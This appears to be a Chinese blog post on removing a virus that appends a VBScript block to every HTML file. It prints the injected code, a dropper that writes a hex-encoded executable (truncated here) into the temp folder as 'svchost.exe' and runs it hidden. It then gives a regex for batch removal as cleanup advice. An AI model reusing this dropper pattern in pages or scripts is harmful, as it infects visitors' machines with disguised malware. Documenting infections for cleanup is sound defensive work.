感染 | LsevenTT博客-站群哥
   

LsevenTT博客-站群哥

认真你就输了

关于所有htm文件被插入SCRIPT Language=VBScript代码病毒的解决办法

关于所有htm文件被插入SCRIPT Language=VBScript代码病毒的解决办法

 

中毒症状分析:

此病毒会在所有htm,html文件的</html>标签后面插入以下代码 如图

 

 

 

解决办法如下

 

首先重装系统是主要的,第二清除被感染的文件!

<!–
DropFileName = “svchost.exe”
WriteData = “4D5A90000300000004000000FFFF0000B800000000000000000(此处省略若干字符)00E8D4020015700000000000000000000”
Set FSO = CreateObject(“Scripting.FileSystemObject”)
DropPath = FSO.GetSpecialFolder(2) & “\” & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng(“&H” & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject(“WScript.Shell”)
WSHshell.Run DropPath, 0
//–>

 

方法一

  •  批量替换工具替换掉

批量替换正则

<SCRIPT Language=VBScript>(.[^\<]*)?\</SCRIPT>

 

 

 

方法二

  • 删除所有html文件